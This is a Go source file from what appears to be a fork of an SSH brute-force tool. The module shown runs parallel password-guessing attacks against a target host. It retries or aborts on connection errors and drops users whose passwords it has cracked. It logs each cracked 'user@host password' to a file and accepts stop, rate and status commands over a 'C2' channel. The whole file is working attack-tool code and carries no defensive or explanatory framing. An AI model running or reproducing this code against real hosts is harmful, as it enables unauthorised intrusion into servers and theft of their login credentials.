forked from LubyRuffy/sshbf
/
hostmaster.go
409 lines (395 loc) · 11.1 KB
/
hostmaster.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
/* Hostmasters are in charge of brute-forcing a particular host. They queue
up attempts with taskmaster. */
package main
import (
"container/list"
"fmt"
"log"
"net"
"os"
"strconv"
"strings"
"syscall"
"time"
)
/* Start a series of attacks on addr. */
func hostmaster(addr string) {
defer WG.Done()
nRunning := 0 /* Number of active attempts */
nMax := *gc.Htask /* Mx number of simultanous attempts */
var c2 chan string /* C2 Channel, nil if !*gc.Cport */
var doneChan chan *Attempt /* Channel for finished attempts */
var a *Attempt /* Attempt we're trying to start */
/* Turn the slice of templates into a list of templates */
tlist := list.New()
for _, t := range TEMPLATES {
tlist.PushBack(t)
}
/* Make a C2 channel if necessary */
if *gc.Cport != "" {
c2 = make(chan string)
/* Try with our target as the channel name */
if !C2CHANS.PutUnique(addr, c2) {
log.Printf("There is already an attack in "+
"progress against %v.", addr)
return
}
/* Remove the channel when we're done */
defer closeChannel(addr)
}
/* Channel on which to receive finished attempts */
doneChan = make(chan *Attempt)
/* Tell the user we're starting */
/* TODO: Make verbose flag */
//log.Printf("Starting up to %v attacks in parallel against %v",
// *gc.Htask, addr)
suc := false /* True if we've had a success */
/* Main loop */
HMLoop:
for {
//log.Printf("[%v] Loop: nR: %v", addr, nRunning) /* DEBUG */
/* Send channel */
var sc chan *Attempt
/* Make a new attempt if we're under the limit and don't have
one already */
if nil == a && (nMax <= 0 || nRunning < nMax) {
/* Next template */
f := tlist.Front()
/* Don't bother if we're out of templates */
if f != nil {
a = f.Value.(Template).Attempt(doneChan,
addr)
tlist.Remove(tlist.Front())
}
}
/* Work out whether to try to send or not */
if a != nil {
sc = TMNEW
}
//log.Printf("[%v] Select: nR: %v, a: %v, sc: %v", addr, nRunning, a, sc) /* DEBUG */
select {
case sc <- a:
/* Sent an attempt to be attempted */
nRunning++
a = nil
case c := <-c2:
/* Got a command */
switch {
case c == "s": /* Stop execution */
log.Printf("[%v] Stopping", addr)
break HMLoop
case strings.HasPrefix(c, "m"): /* Max attempts */
if len(c) == 1 { /* Get */
c2 <- fmt.Sprintf("%v", nMax)
} else { /* Set */
s := strings.Fields(c)[1]
if n, err := strconv.Atoi(s); err != nil {
log.Printf("Please report "+
"that there is a "+
"bug in setting "+
"the maximum "+
"concurrent attempts "+
"for %v to %v: %v",
addr, s, err)
} else {
nMax = n
log.Printf("[%v] Will now "+
"perform %v "+
"concurrent attacks.",
addr, n)
}
}
case strings.HasPrefix(c, "i"): /* Info */
/* Nice success string */
s := "F"
if suc {
s = "F"
}
r := fmt.Sprintf("[Running: %v][Max: "+
"%v][Success: %v]", nRunning, nMax, s)
c2 <- r
default:
log.Printf("Hostmaster %v command "+
"received: %v", addr, c) /* DEBUG */
}
case a := <-doneChan:
//log.Printf("[%v] Attempt done: %v", addr, *a) /* DEBUG */
/* An attempt has finished */
nRunning--
/* Handle the finished attempt. At the moment, we
only need to do something with the third returned
value. */
ab, re, fa, un, sc := handleFinished(a)
suc = sc
//log.Printf("[%v] Attempt Handled (ab:%v re:%v fa:%v un:%v): %v", addr, ab, re, fa, un, *a) /* DEBUG */
/* Abort */
if ab {
break HMLoop
}
/* Retry */
if re {
tlist.PushFront(a.Template())
}
/* Fail */
if fa {
/* Do nothing */
}
/* Remove User */
if un {
/* Iterate over templates, remove templates
with the user of the attempt */
var next *list.Element
for e := tlist.Front(); e != nil; e = next {
next = e.Next()
if e.Value.(Template).User ==
a.Config.User {
tlist.Remove(e)
}
}
}
//case <-time.After(5 * time.Minute): /* DEBUG */
//log.Printf("[%v] Still waiting", addr) /* DEBUG */
}
/* Give up if we're done */
if 0 == tlist.Len() && 0 == nRunning {
break
}
}
/* Read remaining attempts to avoid deadlock */
go func() {
for nRunning > 0 {
<-doneChan
nRunning--
}
}()
log.Printf("%v Done", addr) /* DEBUG */
/* Log unsuccessful attempts to file (maybe) */
if !suc {
go appendLine(*gc.Ffile, fmt.Sprintf("%v\n", addr))
}
}
/* Handle a finished attempt. Any logging should happen before handleFinished
returns.
Abort: End this hostmaster (because the host is down or something like it).
Retry: Temporary failure. Retry attempt.
Fail: Password didn't work, try next one.
Remuser: Success, remove attempts with this user and carry on. */
func handleFinished(a *Attempt) (abort, retry, fail, remuser, suc bool) {
/* If we have a success */
if a.Err == nil {
/* Write it to a file */
go logSuccess(a)
suc = true
if *gc.Onepw {
/* If we only need one user, exit */
abort = true
return
} else {
/* Otherwise, we're done with this user */
fail = true
remuser = true
return
}
}
/* Print error debugging information */
if *gc.Errdb {
log.Printf("[%v] %v@%v - %v ERROR (%T): %v", a.Tasknum,
a.Config.User, a.Host, a.Pass, a.Err, a.Err)
}
/* True if the error isn't handled */
uh := false
/* Switch on the type of error */
switch a.Err.(type) {
case *net.OpError:
abort, retry, fail, remuser, uh = handleNetOpError(a)
case *TimeoutError:
log.Printf("[%v] No longer attacking %v: attack timed out",
a.Tasknum, a.Host)
abort = true
case error: /* Should be last */
abort, retry, fail, remuser, uh = handleGenericError(a)
default:
uh = true
}
if uh {
log.Printf("[%v] %v@%v - %v UNHANDLED ERROR (%T): %v",
a.Tasknum, a.Config.User, a.Host, a.Pass, a.Err, a.Err)
fail = true
return
}
return
}
/* Append a line to a file f, locking it first. Will return if f is empty */
func appendLine(fname, line string) {
if 0 == len(fname) {
return
}
/* Try to open the successes file */
f, err := os.OpenFile(fname, os.O_WRONLY|os.O_APPEND|os.O_CREATE,
0644)
/* Close on return */
defer f.Close()
/* Give up if we can't */
if err != nil {
log.Printf("Unable to open file %v: %v", f, err)
return
}
/* Acquire an exclusive lock */
if syscall.Flock(int(f.Fd()), syscall.LOCK_EX) != nil {
log.Printf("Unable to lock %v: %v", f, err)
return
}
/* Release it when we're done */
defer syscall.Flock(int(f.Fd()), syscall.LOCK_UN)
/* Write line to file */
r, err := f.WriteString(line)
if err != nil {
log.Printf("Error writing %\"%v\" to %v: %v", line, f,
err)
}
if r < len(line) {
log.Printf("Only wrote %v/%v bytes of \"%v\" to %v", r,
len(line),
line, f)
}
}
/* Log success appropriately */
func logSuccess(a *Attempt) {
/* Print message to log */
log.Printf("[%v] SUCCESS %v@%v - %v", a.Tasknum, a.Config.User, a.Host,
a.Pass)
/* Write message to file */
go appendLine(*gc.Sfile, fmt.Sprintf("%v@%v %v\n", a.Config.User,
a.Host, a.Pass))
}
/* Handle errors of type *net.OpError */
func handleNetOpError(a *Attempt) (ab, re, fa, un, uh bool) {
estr := a.Err.Error()
switch {
case strings.HasSuffix(estr, "connection refused"):
log.Printf("[%v] No longer attacking %v: connection refused",
a.Tasknum, a.Host)
ab = true
case strings.HasSuffix(estr, "host is down"):
log.Printf("[%v] No longer attacking %v: host is down",
a.Tasknum, a.Host)
ab = true
case strings.HasSuffix(estr, "connection timed out"):
log.Printf("[%v] No lonnger attacking %v: connection timed "+
"out", a.Tasknum, a.Host)
ab = true
case strings.HasSuffix(estr, "too many open files"):
log.Printf("[%v] Too many open files (or network "+
"connections). Consider setting -gtask to a lower "+
"number. Will retry %v against %v@%v.", a.Tasknum,
a.Pass, a.Config.User, a.Host)
re = true
case strings.HasSuffix(estr, "no route to host"):
log.Printf("[%v] No longer attacking %v: no route to host",
a.Tasknum, a.Host)
ab = true
case strings.HasPrefix(estr, "dial tcp") &&
strings.HasSuffix(estr, "invalid argument"):
log.Printf("[%v] Unable to attack %v: invalid address",
a.Tasknum, a.Host)
ab = true
case strings.HasPrefix(estr, "dial tcp: lookup") &&
strings.HasSuffix(estr, ": no such host"):
log.Printf("[%v] Unable to resolve %v", a.Tasknum, a.Host)
ab = true
case "dial tcp: missing port in address google.com" == estr:
log.Printf("[%v] Unable to attack %v: missing port", a.Tasknum,
a.Host)
ab = true
case strings.HasPrefix(estr, "dail tcp: lookup ") &&
strings.HasSuffix(estr, ": invalid domain name"):
log.Printf("[%v] Unable to attack %v: invalid domain name",
a.Tasknum, a.Host)
ab = true
default:
uh = true
}
return
}
/* Handle a Generic Error. The final parameter is true if the error hasn't
actually been handled. */
func handleGenericError(a *Attempt) (ab, re, fa, un, uh bool) {
switch {
case a.Err.Error() == "ssh: handshake failed: ssh: unable to "+
"authenticate, attempted methods [none], no supported "+
"methods remain": /* Should be first */
log.Printf("[%v] No longer attacking %v: target does not "+
"support password authentication", a.Tasknum, a.Host)
ab = true
case strings.HasPrefix(a.Err.Error(), "ssh: handshake failed: ssh: "+
"unable to authenticate, attempted methods") &&
strings.HasSuffix(a.Err.Error(), "no supported methods "+
"remain"):
fa = true
case strings.HasSuffix(a.Err.Error(), "connection reset by peer"):
if *gc.Rteof {
log.Printf("[%v] Retrying %v against %v@%v after "+
"2s: connection reset by peer", a.Tasknum,
a.Pass, a.Config.User, a.Host)
time.Sleep(2 * time.Second)
re = true
} else {
log.Printf("[%v] No longer attacking %v: connection "+
"reset by peer", a.Tasknum, a.Host)
ab = true
}
case a.Err.Error() == "ssh: handshake failed: EOF":
if *gc.Rteof {
log.Printf("[%v] Retrying %v against %v@%v after "+
"2s: EOF", a.Tasknum, a.Pass, a.Config.User,
a.Host)
time.Sleep(2 * time.Second)
re = true
} else {
log.Printf("[%v] No longer attacking %v: EOF",
a.Tasknum, a.Host)
ab = true
}
case a.Err.Error() == "ssh: handshake failed: ssh: no common "+
"algorithms":
log.Printf("[%v] No longer attacking %v: no common "+
"algorithms.", a.Tasknum, a.Host)
ab = true
case a.Err.Error() == "ssh: handshake failed: ssh: invalid packet "+
"length, packet too large":
if *gc.Rteof {
log.Printf("[%v] Retrying %v against %v@%v after "+
"receiving a packat that was too large.",
a.Tasknum, a.Pass, a.Config.User, a.Host)
re = true
} else {
log.Printf("[%v] No longer attacking %v: received "+
"packet that was too large", a.Tasknum, a.Host)
ab = true
}
default:
uh = true
}
return
}
/* Handle close of C2 Channel */
func closeChannel(cname string) {
/* Get the channel to be closed */
c, ok := C2CHANS.Get(cname)
if !ok {
return
}
/* Start a goroutine to read and discard extraneous messages */
go func() {
ok := true
for ok {
_, ok = <-c.(chan string)
}
}()
/* Delete the channel */
C2CHANL.Lock()
defer C2CHANL.Unlock()
C2CHANS.Delete(cname)
/* Close it to stop the goroutine */
close(c.(chan string))
}